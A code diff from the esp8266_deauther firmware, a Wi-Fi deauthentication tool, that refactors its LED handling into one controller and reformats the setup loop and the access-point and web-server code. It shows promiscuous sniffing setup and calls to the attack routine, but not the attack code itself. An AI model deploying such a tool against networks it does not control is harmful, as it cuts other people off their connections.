||||||
SimpleList<Station>* list;
|
String getNameStr(int num);
|
||||||
|
String getAPStr(int num);
|
||||||
|
String getMacStr(int num);
|
||||||
|
String getMacVendorStr(int num);
|
||||||
|
String getVendorStr(int num);
|
||||||
|
String getTimeStr(int num);
|
||||||
|
String getSelectedStr(int num);
|
||||||
|
uint8_t* getAPMac(int num);
|
||||||
|
String getAPMacStr(int num);
|
||||||
|
uint8_t* getMac(int num);
|
||||||
|
uint32_t* getPkts(int num);
|
||||||
|
uint32_t* getTime(int num);
|
||||||
|
uint8_t getCh(int num);
|
||||||
|
int getAP(int num);
|
||||||
|
bool getSelected(int num);
|
||||||
|
bool hasName(int num);
|
||||||
|
|
||||||
int findStation(uint8_t* mac);
|
void print(int num);
|
||||||
int findAccesspoint(uint8_t* mac);
|
void print(int num, bool header, bool footer);
|
||||||
|
void printAll();
|
||||||
|
void printSelected();
|
||||||
|
|
||||||
bool internal_check(int num);
|
int count();
|
||||||
void internal_select(int num);
|
int selected();
|
||||||
void internal_deselect(int num);
|
|
||||||
void internal_add(uint8_t* mac, int accesspointNum);
|
bool check(int num);
|
||||||
void internal_remove(int num);
|
bool changed = false;
|
||||||
void internal_removeAll();
|
|
||||||
|
private:
|
||||||
|
struct Station {
|
||||||
|
uint8_t ap;
|
||||||
|
uint8_t ch;
|
||||||
|
uint8_t * mac;
|
||||||
|
uint32_t* pkts;
|
||||||
|
uint32_t* time;
|
||||||
|
bool selected;
|
||||||
|
};
|
||||||
|
|
||||||
|
SimpleList<Station>* list;
|
||||||
|
|
||||||
|
int findStation(uint8_t* mac);
|
||||||
|
int findAccesspoint(uint8_t* mac);
|
||||||
|
|
||||||
|
bool internal_check(int num);
|
||||||
|
void internal_select(int num);
|
||||||
|
void internal_deselect(int num);
|
||||||
|
void internal_add(uint8_t* mac, int accesspointNum);
|
||||||
|
void internal_remove(int num);
|
||||||
|
void internal_removeAll();
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif // ifndef Stations_h
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
16
esp8266_deauther/StatusLED.h
Normal file
16
esp8266_deauther/StatusLED.h
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
#ifndef StatusLED_H
|
||||||
|
#define StatusLED_H
|
||||||
|
|
||||||
|
#include "Arduino.h"
|
||||||
|
|
||||||
|
class StatusLED {
|
||||||
|
public:
|
||||||
|
virtual ~StatusLED() = default;
|
||||||
|
|
||||||
|
virtual void setup() = 0;
|
||||||
|
|
||||||
|
virtual void setColor(uint8_t r, uint8_t g, uint8_t b) = 0;
|
||||||
|
virtual void setBrightness(uint8_t brightness) = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // ifndef StatusLED_H
|
||||||
@@ -1,9 +1,9 @@
|
|||||||
/*
|
/*
|
||||||
===========================================
|
===========================================
|
||||||
Copyright (c) 2018 Stefan Kremser
|
Copyright (c) 2018 Stefan Kremser
|
||||||
github.com/spacehuhn
|
github.com/spacehuhn
|
||||||
===========================================
|
===========================================
|
||||||
*/
|
*/
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include "user_interface.h"
|
#include "user_interface.h"
|
||||||
}
|
}
|
||||||
@@ -18,31 +18,19 @@ extern "C" {
|
|||||||
#include "Attack.h"
|
#include "Attack.h"
|
||||||
#include "SerialInterface.h"
|
#include "SerialInterface.h"
|
||||||
#include "DisplayUI.h"
|
#include "DisplayUI.h"
|
||||||
#include "DigitalLed.h"
|
|
||||||
#include "RGBLed.h"
|
|
||||||
#include "Neopixel.h"
|
|
||||||
#include "A_config.h"
|
#include "A_config.h"
|
||||||
#include "webfiles.h"
|
#include "webfiles.h"
|
||||||
|
|
||||||
#ifdef DIGITAL_LED
|
#include "LEDController.h"
|
||||||
DigitalLed led;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef RGB_LED
|
|
||||||
RGBLed led;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef NEOPIXEL_LED
|
|
||||||
Neopixel led;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// Run-Time Variables //
|
// Run-Time Variables //
|
||||||
|
LEDController* led;
|
||||||
Settings settings;
|
Settings settings;
|
||||||
Names names;
|
Names names;
|
||||||
SSIDs ssids;
|
SSIDs ssids;
|
||||||
Accesspoints accesspoints;
|
Accesspoints accesspoints;
|
||||||
Stations stations;
|
Stations stations;
|
||||||
Scan scan;
|
Scan scan;
|
||||||
Attack attack;
|
Attack attack;
|
||||||
SerialInterface serialInterface;
|
SerialInterface serialInterface;
|
||||||
DisplayUI displayUI;
|
DisplayUI displayUI;
|
||||||
@@ -50,136 +38,126 @@ DisplayUI displayUI;
|
|||||||
#include "wifi.h"
|
#include "wifi.h"
|
||||||
|
|
||||||
uint32_t autosaveTime = 0;
|
uint32_t autosaveTime = 0;
|
||||||
uint32_t currentTime = 0;
|
uint32_t currentTime = 0;
|
||||||
|
|
||||||
bool booted = false;
|
bool booted = false;
|
||||||
|
|
||||||
void setup() {
|
void setup() {
|
||||||
// "fix" for RGB LEDs
|
// for random generator
|
||||||
analogWriteRange(0xff);
|
randomSeed(os_random());
|
||||||
|
|
||||||
// for random generator
|
|
||||||
randomSeed(os_random());
|
|
||||||
|
|
||||||
// start serial
|
|
||||||
Serial.begin(115200);
|
|
||||||
Serial.println();
|
|
||||||
|
|
||||||
// start SPIFFS
|
// start serial
|
||||||
prnt(SETUP_MOUNT_SPIFFS);
|
Serial.begin(115200);
|
||||||
prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR);
|
Serial.println();
|
||||||
|
|
||||||
// Start EEPROM
|
// start SPIFFS
|
||||||
EEPROM.begin(4096);
|
prnt(SETUP_MOUNT_SPIFFS);
|
||||||
|
prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR);
|
||||||
|
|
||||||
// auto repair when in boot-loop
|
// Start EEPROM
|
||||||
uint8_t bootCounter = EEPROM.read(0);
|
EEPROM.begin(4096);
|
||||||
if(bootCounter >= 3){
|
|
||||||
prnt(SETUP_FORMAT_SPIFFS);
|
|
||||||
SPIFFS.format();
|
|
||||||
prntln(SETUP_OK);
|
|
||||||
}else{
|
|
||||||
EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter
|
|
||||||
EEPROM.commit();
|
|
||||||
}
|
|
||||||
|
|
||||||
// get time
|
|
||||||
currentTime = millis();
|
|
||||||
|
|
||||||
// load settings
|
// auto repair when in boot-loop
|
||||||
settings.load();
|
uint8_t bootCounter = EEPROM.read(0);
|
||||||
|
|
||||||
// set mac for access point
|
if (bootCounter >= 3) {
|
||||||
wifi_set_macaddr(SOFTAP_IF, settings.getMacAP());
|
prnt(SETUP_FORMAT_SPIFFS);
|
||||||
|
SPIFFS.format();
|
||||||
// start WiFi
|
prntln(SETUP_OK);
|
||||||
WiFi.mode(WIFI_OFF);
|
} else {
|
||||||
wifi_set_opmode(STATION_MODE);
|
EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter
|
||||||
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
|
EEPROM.commit();
|
||||||
scan.sniffer(buf, len);
|
}
|
||||||
});
|
|
||||||
|
|
||||||
// set mac for station
|
|
||||||
wifi_set_macaddr(STATION_IF, settings.getMacSt());
|
|
||||||
|
|
||||||
// start display
|
|
||||||
if (settings.getDisplayInterface()){
|
|
||||||
displayUI.setup();
|
|
||||||
displayUI.mode = SCREEN_MODE_INTRO;
|
|
||||||
}
|
|
||||||
|
|
||||||
// copy web files to SPIFFS
|
// get time
|
||||||
copyWebFiles(false);
|
currentTime = millis();
|
||||||
|
|
||||||
// load everything else
|
|
||||||
names.load();
|
|
||||||
ssids.load();
|
|
||||||
serialInterface.load();
|
|
||||||
|
|
||||||
// create scan.json
|
// load settings
|
||||||
scan.setup();
|
settings.load();
|
||||||
|
|
||||||
// set LED
|
// set mac for access point
|
||||||
#ifdef DIGITAL_LED
|
wifi_set_macaddr(SOFTAP_IF, settings.getMacAP());
|
||||||
led.setup();
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// set channel
|
// start WiFi
|
||||||
setWifiChannel(settings.getChannel());
|
WiFi.mode(WIFI_OFF);
|
||||||
|
wifi_set_opmode(STATION_MODE);
|
||||||
|
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
|
||||||
|
scan.sniffer(buf, len);
|
||||||
|
});
|
||||||
|
|
||||||
// load Wifi settings: SSID, password,...
|
// set mac for station
|
||||||
loadWifiConfigDefaults();
|
wifi_set_macaddr(STATION_IF, settings.getMacSt());
|
||||||
|
|
||||||
// dis/enable serial command interface
|
|
||||||
if (settings.getSerialInterface()) {
|
|
||||||
serialInterface.enable();
|
|
||||||
} else {
|
|
||||||
prntln(SETUP_SERIAL_WARNING);
|
|
||||||
Serial.flush();
|
|
||||||
Serial.end();
|
|
||||||
}
|
|
||||||
|
|
||||||
// start access point/web interface
|
// start display
|
||||||
if (settings.getWebInterface()) startAP();
|
if (settings.getDisplayInterface()) {
|
||||||
|
displayUI.setup();
|
||||||
|
displayUI.mode = SCREEN_MODE_INTRO;
|
||||||
|
}
|
||||||
|
|
||||||
// STARTED
|
// copy web files to SPIFFS
|
||||||
prntln(SETUP_STARTED);
|
copyWebFiles(false);
|
||||||
|
|
||||||
// version
|
// load everything else
|
||||||
prntln(settings.getVersion());
|
names.load();
|
||||||
|
ssids.load();
|
||||||
|
serialInterface.load();
|
||||||
|
|
||||||
|
// create scan.json
|
||||||
|
scan.setup();
|
||||||
|
|
||||||
|
// setup LED
|
||||||
|
led = new LEDController();
|
||||||
|
led->setup();
|
||||||
|
|
||||||
|
// set channel
|
||||||
|
setWifiChannel(settings.getChannel());
|
||||||
|
|
||||||
|
// load Wifi settings: SSID, password,...
|
||||||
|
loadWifiConfigDefaults();
|
||||||
|
|
||||||
|
// dis/enable serial command interface
|
||||||
|
if (settings.getSerialInterface()) {
|
||||||
|
serialInterface.enable();
|
||||||
|
} else {
|
||||||
|
prntln(SETUP_SERIAL_WARNING);
|
||||||
|
Serial.flush();
|
||||||
|
Serial.end();
|
||||||
|
}
|
||||||
|
|
||||||
|
// start access point/web interface
|
||||||
|
if (settings.getWebInterface()) startAP();
|
||||||
|
|
||||||
|
// STARTED
|
||||||
|
prntln(SETUP_STARTED);
|
||||||
|
|
||||||
|
// version
|
||||||
|
prntln(settings.getVersion());
|
||||||
}
|
}
|
||||||
|
|
||||||
void loop() {
|
void loop() {
|
||||||
currentTime = millis();
|
currentTime = millis();
|
||||||
|
|
||||||
wifiUpdate(); // manage access point
|
|
||||||
|
|
||||||
attack.update(); // run attacks
|
|
||||||
displayUI.update();
|
|
||||||
serialInterface.update(); // read and run serial input
|
|
||||||
scan.update(); // run scan
|
|
||||||
ssids.update(); // run random mode, if enabled
|
|
||||||
#ifdef DIGITAL_LED
|
|
||||||
led.update(); // update LED color
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// auto-save
|
|
||||||
if (settings.getAutosave() && currentTime - autosaveTime > settings.getAutosaveTime()) {
|
|
||||||
autosaveTime = currentTime;
|
|
||||||
names.save(false);
|
|
||||||
ssids.save(false);
|
|
||||||
settings.save(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(!booted){
|
|
||||||
// reset boot counter
|
|
||||||
EEPROM.write(0, 0);
|
|
||||||
EEPROM.commit();
|
|
||||||
booted = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
wifiUpdate(); // manage access point
|
||||||
|
|
||||||
|
attack.update(); // run attacks
|
||||||
|
displayUI.update();
|
||||||
|
serialInterface.update(); // read and run serial input
|
||||||
|
scan.update(); // run scan
|
||||||
|
ssids.update(); // run random mode, if enabled
|
||||||
|
led->update(); // update LED color
|
||||||
|
|
||||||
|
// auto-save
|
||||||
|
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
|
||||||
|
autosaveTime = currentTime;
|
||||||
|
names.save(false);
|
||||||
|
ssids.save(false);
|
||||||
|
settings.save(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!booted) {
|
||||||
|
// reset boot counter
|
||||||
|
EEPROM.write(0, 0);
|
||||||
|
EEPROM.commit();
|
||||||
|
booted = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
@@ -17,13 +17,13 @@ extern "C" {
|
|||||||
#define WIFI_MODE_STATION 2
|
#define WIFI_MODE_STATION 2
|
||||||
|
|
||||||
/*
|
/*
|
||||||
This file contains all necessary functions for hosting and connecting to an access point.
|
This file contains all necessary functions for hosting and connecting to an access point.
|
||||||
For compatibility and simplicity, all those functions are global.
|
For compatibility and simplicity, all those functions are global.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
// Important strings
|
// Important strings
|
||||||
const char W_DEAUTHER[] PROGMEM = "deauth.me"; // captive portal domain (alternative to 192.168.4.1)
|
const char W_DEAUTHER[] PROGMEM = "deauth.me"; // captive portal domain (alternative to 192.168.4.1)
|
||||||
const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files
|
const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files
|
||||||
const char W_ERROR_PASSWORD[] PROGMEM = "ERROR: Password must have at least 8 characters!";
|
const char W_ERROR_PASSWORD[] PROGMEM = "ERROR: Password must have at least 8 characters!";
|
||||||
const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang";
|
const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang";
|
||||||
|
|
||||||
@@ -65,406 +65,427 @@ File fsUploadFile;
|
|||||||
// current WiFi mode and config
|
// current WiFi mode and config
|
||||||
uint8_t wifiMode = WIFI_MODE_OFF;
|
uint8_t wifiMode = WIFI_MODE_OFF;
|
||||||
|
|
||||||
bool wifi_config_hidden = false;
|
bool wifi_config_hidden = false;
|
||||||
bool wifi_config_captivePortal = false;
|
bool wifi_config_captivePortal = false;
|
||||||
String wifi_config_ssid;
|
String wifi_config_ssid;
|
||||||
String wifi_config_password;
|
String wifi_config_password;
|
||||||
String wifi_config_path;
|
String wifi_config_path;
|
||||||
|
|
||||||
void stopAP() {
|
void stopAP() {
|
||||||
if (wifiMode == WIFI_MODE_AP) {
|
if (wifiMode == WIFI_MODE_AP) {
|
||||||
wifi_promiscuous_enable(0);
|
wifi_promiscuous_enable(0);
|
||||||
WiFi.persistent(false);
|
WiFi.persistent(false);
|
||||||
WiFi.disconnect(true);
|
WiFi.disconnect(true);
|
||||||
wifi_set_opmode(STATION_MODE);
|
wifi_set_opmode(STATION_MODE);
|
||||||
prntln(W_STOPPED_AP);
|
prntln(W_STOPPED_AP);
|
||||||
wifiMode = WIFI_MODE_STATION;
|
wifiMode = WIFI_MODE_STATION;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void wifiUpdate() {
|
void wifiUpdate() {
|
||||||
if (wifiMode != WIFI_MODE_OFF && !scan.isScanning()) {
|
if ((wifiMode != WIFI_MODE_OFF) && !scan.isScanning()) {
|
||||||
server.handleClient();
|
server.handleClient();
|
||||||
dnsServer.processNextRequest();
|
dnsServer.processNextRequest();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
String getWifiMode() {
|
String getWifiMode() {
|
||||||
switch (wifiMode) {
|
switch (wifiMode) {
|
||||||
case WIFI_MODE_OFF:
|
case WIFI_MODE_OFF:
|
||||||
return W_MODE_OFF;
|
return W_MODE_OFF;
|
||||||
break;
|
|
||||||
|
break;
|
||||||
|
|
||||||
case WIFI_MODE_AP:
|
case WIFI_MODE_AP:
|
||||||
return W_MODE_AP;
|
return W_MODE_AP;
|
||||||
break;
|
|
||||||
|
break;
|
||||||
|
|
||||||
case WIFI_MODE_STATION:
|
case WIFI_MODE_STATION:
|
||||||
return W_MODE_ST;
|
return W_MODE_ST;
|
||||||
break;
|
|
||||||
|
break;
|
||||||
|
|
||||||
default:
|
default:
|
||||||
return String();
|
return String();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
String getContentType(String filename) {
|
String getContentType(String filename) {
|
||||||
if (server.hasArg("download"))
|
if (server.hasArg("download")) return String(F("application/octet-stream"));
|
||||||
return String(F("application/octet-stream"));
|
|
||||||
|
if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3);
|
||||||
if (filename.endsWith(str(W_DOT_GZIP)))
|
|
||||||
filename = filename.substring(0, filename.length() - 3);
|
if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML);
|
||||||
|
|
||||||
if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML);
|
if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML);
|
||||||
if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML);
|
|
||||||
if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS);
|
if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS);
|
||||||
if (filename.endsWith(str(W_DOT_JS))) return str(W_JS);
|
|
||||||
if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG);
|
if (filename.endsWith(str(W_DOT_JS))) return str(W_JS);
|
||||||
if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF);
|
|
||||||
if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG);
|
if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG);
|
||||||
if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON);
|
|
||||||
if (filename.endsWith(str(W_DOT_XML))) return str(W_XML);
|
if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF);
|
||||||
if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF);
|
|
||||||
if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP);
|
if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG);
|
||||||
if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON);
|
|
||||||
|
if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON);
|
||||||
return str(W_TXT);
|
|
||||||
|
if (filename.endsWith(str(W_DOT_XML))) return str(W_XML);
|
||||||
|
|
||||||
|
if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF);
|
||||||
|
|
||||||
|
if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP);
|
||||||
|
|
||||||
|
if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON);
|
||||||
|
|
||||||
|
return str(W_TXT);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool handleFileRead(String path) {
|
bool handleFileRead(String path) {
|
||||||
prnt(W_AP_REQUEST);
|
prnt(W_AP_REQUEST);
|
||||||
prnt(path);
|
prnt(path);
|
||||||
|
|
||||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||||
if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html"));
|
|
||||||
|
if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html"));
|
||||||
String contentType = getContentType(path);
|
|
||||||
|
String contentType = getContentType(path);
|
||||||
if (!SPIFFS.exists(path)) {
|
|
||||||
if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);
|
if (!SPIFFS.exists(path)) {
|
||||||
else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path;
|
if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);
|
||||||
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(W_DOT_GZIP);
|
else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path;
|
||||||
else {
|
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(
|
||||||
prntln(W_NOT_FOUND);
|
W_DOT_GZIP);
|
||||||
return false;
|
else {
|
||||||
|
prntln(W_NOT_FOUND);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
File file = SPIFFS.open(path, "r");
|
File file = SPIFFS.open(path, "r");
|
||||||
server.streamFile(file, contentType);
|
server.streamFile(file, contentType);
|
||||||
file.close();
|
file.close();
|
||||||
prnt(SPACE);
|
prnt(SPACE);
|
||||||
prntln(W_OK);
|
prntln(W_OK);
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
void handleFileUpload() {
|
void handleFileUpload() {
|
||||||
// only allow uploads on /edit address
|
// only allow uploads on /edit address
|
||||||
if (server.uri() != "/edit")
|
if (server.uri() != "/edit")
|
||||||
return;
|
return;
|
||||||
|
|
||||||
HTTPUpload& upload = server.upload();
|
HTTPUpload& upload = server.upload();
|
||||||
if (upload.status == UPLOAD_FILE_START) {
|
if (upload.status == UPLOAD_FILE_START) {
|
||||||
String filename = upload.filename;
|
String filename = upload.filename;
|
||||||
if (!filename.charAt(0) == SLASH) filename = String(SLASH) + filename;
|
if (!filename.charAt(0) == SLASH) filename = String(SLASH) + filename;
|
||||||
//Serial.print("handleFileUpload Name: ");
|
//Serial.print("handleFileUpload Name: ");
|
||||||
//Serial.println(filename);
|
//Serial.println(filename);
|
||||||
fsUploadFile = SPIFFS.open(filename, "w");
|
fsUploadFile = SPIFFS.open(filename, "w");
|
||||||
filename = String();
|
filename = String();
|
||||||
} else if (upload.status == UPLOAD_FILE_WRITE) {
|
} else if (upload.status == UPLOAD_FILE_WRITE) {
|
||||||
//Serial.print("handleFileUpload Data: ");
|
//Serial.print("handleFileUpload Data: ");
|
||||||
//Serial.println(upload.currentSize);
|
//Serial.println(upload.currentSize);
|
||||||
if (fsUploadFile)
|
if (fsUploadFile)
|
||||||
fsUploadFile.write(upload.buf, upload.currentSize);
|
fsUploadFile.write(upload.buf, upload.currentSize);
|
||||||
} else if (upload.status == UPLOAD_FILE_END) {
|
} else if (upload.status == UPLOAD_FILE_END) {
|
||||||
if (fsUploadFile)
|
if (fsUploadFile)
|
||||||
fsUploadFile.close();
|
fsUploadFile.close();
|
||||||
//Serial.print("handleFileUpload Size: ");
|
//Serial.print("handleFileUpload Size: ");
|
||||||
//Serial.println(upload.totalSize);
|
//Serial.println(upload.totalSize);
|
||||||
}
|
}
|
||||||
}*/
|
}*/
|
||||||
|
|
||||||
/*
|
/*
|
||||||
void handleFileDelete() {
|
void handleFileDelete() {
|
||||||
if (server.args() == 0)
|
if (server.args() == 0)
|
||||||
return server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
return server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
||||||
|
|
||||||
String path = server.arg(0);
|
String path = server.arg(0);
|
||||||
//Serial.println("handleFileDelete: " + path);
|
//Serial.println("handleFileDelete: " + path);
|
||||||
if (path == String(SLASH))
|
if (path == String(SLASH))
|
||||||
return server.send(500, str(W_TXT), str(W_BAD_PATH));
|
return server.send(500, str(W_TXT), str(W_BAD_PATH));
|
||||||
if (!SPIFFS.exists(path))
|
if (!SPIFFS.exists(path))
|
||||||
return server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
|
return server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
|
||||||
SPIFFS.remove(path);
|
SPIFFS.remove(path);
|
||||||
server.send(200, str(W_TXT), String());
|
server.send(200, str(W_TXT), String());
|
||||||
}*/
|
}*/
|
||||||
|
|
||||||
/*
|
/*
|
||||||
void handleFileCreate() {
|
void handleFileCreate() {
|
||||||
if (server.args() == 0)
|
if (server.args() == 0)
|
||||||
return server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
return server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
||||||
|
|
||||||
String path = server.arg(0);
|
String path = server.arg(0);
|
||||||
//Serial.println("handleFileCreate: " + path);
|
//Serial.println("handleFileCreate: " + path);
|
||||||
if (path == String(SLASH))
|
if (path == String(SLASH))
|
||||||
return server.send(500, str(W_TXT), str(W_BAD_PATH));
|
return server.send(500, str(W_TXT), str(W_BAD_PATH));
|
||||||
if (SPIFFS.exists(path))
|
if (SPIFFS.exists(path))
|
||||||
return server.send(500, str(W_TXT), "FILE EXISTS");
|
return server.send(500, str(W_TXT), "FILE EXISTS");
|
||||||
File file = SPIFFS.open(path, "w");
|
File file = SPIFFS.open(path, "w");
|
||||||
if (file)
|
if (file)
|
||||||
file.close();
|
file.close();
|
||||||
else
|
else
|
||||||
return server.send(500, str(W_TXT), "CREATE FAILED");
|
return server.send(500, str(W_TXT), "CREATE FAILED");
|
||||||
server.send(200, str(W_TXT), "");
|
server.send(200, str(W_TXT), "");
|
||||||
}*/
|
}*/
|
||||||
|
|
||||||
void handleFileList() {
|
void handleFileList() {
|
||||||
if (!server.hasArg("dir")) {
|
if (!server.hasArg("dir")) {
|
||||||
server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
String path = server.arg("dir");
|
String path = server.arg("dir");
|
||||||
//Serial.println("handleFileList: " + path);
|
// Serial.println("handleFileList: " + path);
|
||||||
Dir dir = SPIFFS.openDir(path);
|
Dir dir = SPIFFS.openDir(path);
|
||||||
|
|
||||||
String output = String(OPEN_BRACKET); // {
|
String output = String(OPEN_BRACKET); // {
|
||||||
File entry;
|
File entry;
|
||||||
bool first = true;
|
bool first = true;
|
||||||
while (dir.next()) {
|
|
||||||
entry = dir.openFile("r");
|
|
||||||
|
|
||||||
if(first)
|
|
||||||
first = false;
|
|
||||||
else
|
|
||||||
output += COMMA; // ,
|
|
||||||
|
|
||||||
output += OPEN_BRACKET; // [
|
|
||||||
output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename"
|
|
||||||
output += CLOSE_BRACKET; // ]
|
|
||||||
|
|
||||||
entry.close();
|
|
||||||
}
|
|
||||||
|
|
||||||
output += CLOSE_BRACKET;
|
while (dir.next()) {
|
||||||
server.send(200, str(W_JSON).c_str(), output);
|
entry = dir.openFile("r");
|
||||||
|
|
||||||
|
if (first) first = false;
|
||||||
|
else output += COMMA; // ,
|
||||||
|
|
||||||
|
output += OPEN_BRACKET; // [
|
||||||
|
output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename"
|
||||||
|
output += CLOSE_BRACKET; // ]
|
||||||
|
|
||||||
|
entry.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
output += CLOSE_BRACKET;
|
||||||
|
server.send(200, str(W_JSON).c_str(), output);
|
||||||
}
|
}
|
||||||
|
|
||||||
void sendProgmem(const char* ptr, size_t size, const char* type) {
|
void sendProgmem(const char* ptr, size_t size, const char* type) {
|
||||||
server.sendHeader("Content-Encoding", "gzip");
|
server.sendHeader("Content-Encoding", "gzip");
|
||||||
server.sendHeader("Cache-Control", "max-age=86400");
|
server.sendHeader("Cache-Control", "max-age=86400");
|
||||||
server.send_P(200, str(type).c_str(), ptr, size);
|
server.send_P(200, str(type).c_str(), ptr, size);
|
||||||
}
|
}
|
||||||
|
|
||||||
// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network is visible, captivePortal = enable a captive portal
|
// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network
|
||||||
|
// is visible, captivePortal = enable a captive portal
|
||||||
void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {
|
void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {
|
||||||
if (password.length() < 8) {
|
if (password.length() < 8) {
|
||||||
prntln(W_ERROR_PASSWORD);
|
prntln(W_ERROR_PASSWORD);
|
||||||
return;
|
return;
|
||||||
}
|
|
||||||
|
|
||||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
|
||||||
if (password == String(ZERO)) password = String(NEWLINE);
|
|
||||||
|
|
||||||
wifi_config_path = path;
|
|
||||||
wifi_config_ssid = ssid;
|
|
||||||
wifi_config_password = password;
|
|
||||||
setWifiChannel(ch);
|
|
||||||
wifi_config_hidden = hidden;
|
|
||||||
wifi_config_captivePortal = captivePortal;
|
|
||||||
|
|
||||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
|
||||||
WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden);
|
|
||||||
|
|
||||||
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
|
||||||
dnsServer.start(53, String(ASTERIX), apIP);
|
|
||||||
|
|
||||||
MDNS.begin(str(W_DEAUTHER).c_str());
|
|
||||||
|
|
||||||
server.on(String(F("/list")).c_str(), HTTP_GET, handleFileList); //list directory
|
|
||||||
|
|
||||||
|
|
||||||
// ================================================================
|
|
||||||
// post here the output of the webConverter.py
|
|
||||||
|
|
||||||
if(!settings.getWebSpiffs()){
|
|
||||||
server.on(String(SLASH).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/attack.html")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(attackhtml, sizeof(attackhtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/index.html")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/info.html")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(infohtml, sizeof(infohtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/scan.html")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(scanhtml, sizeof(scanhtml), W_HTML);
